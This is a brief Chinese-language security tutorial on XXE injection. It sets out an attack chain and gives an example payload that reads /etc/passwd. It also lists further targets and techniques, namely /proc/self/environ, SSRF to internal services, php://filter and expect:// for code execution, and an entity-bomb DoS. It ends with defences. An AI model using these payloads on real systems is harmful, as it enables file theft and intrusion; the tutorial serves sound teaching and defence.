XXE-XML外部实体漏洞实战

XXE XML外部实体注入完整指南:文件读取/SSRF/OOB外带/RCE/DoS,含防御方法。

写在前面:合法学习边界

XXE 攻击只在授权测试环境进行。对非授权系统利用 XXE 可能触犯法律。

一、XXE 攻击链

XXE 攻击链
1
① 发现 XML → ② 注入 DTD → ③ 文件读取 → ④ SSRF → ⑤ OOB 外带 → ⑥ RCE

二、利用方式

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
1
2
3
4
5
文件读取:file:// /proc/self/environ
SSRF:http://internal-service/
OOB 外带:读取无回显文件
RCE:php://filter · expect://
DoS:ENTITY bomb "&bomb;&bomb;"

三、防御方法

1
2
3
4
禁用 DTD:libxml_disable_entity_loader(true)
使用 JSON 替代 XML
更新依赖库到安全版本
WAF 规则检测 XXE payload

四、小结

XXE 攻击面广泛(文件读取/SSRF/RCE/DoS)。防御核心是禁用外部实体解析或使用 JSON 替代 XML。

本站使用「署名 4.0 国际」创作共享协议,可自由转载、引用,但需署名作者且注明文章出处
最后更新于 Aug 30, 2026 10:00 +0800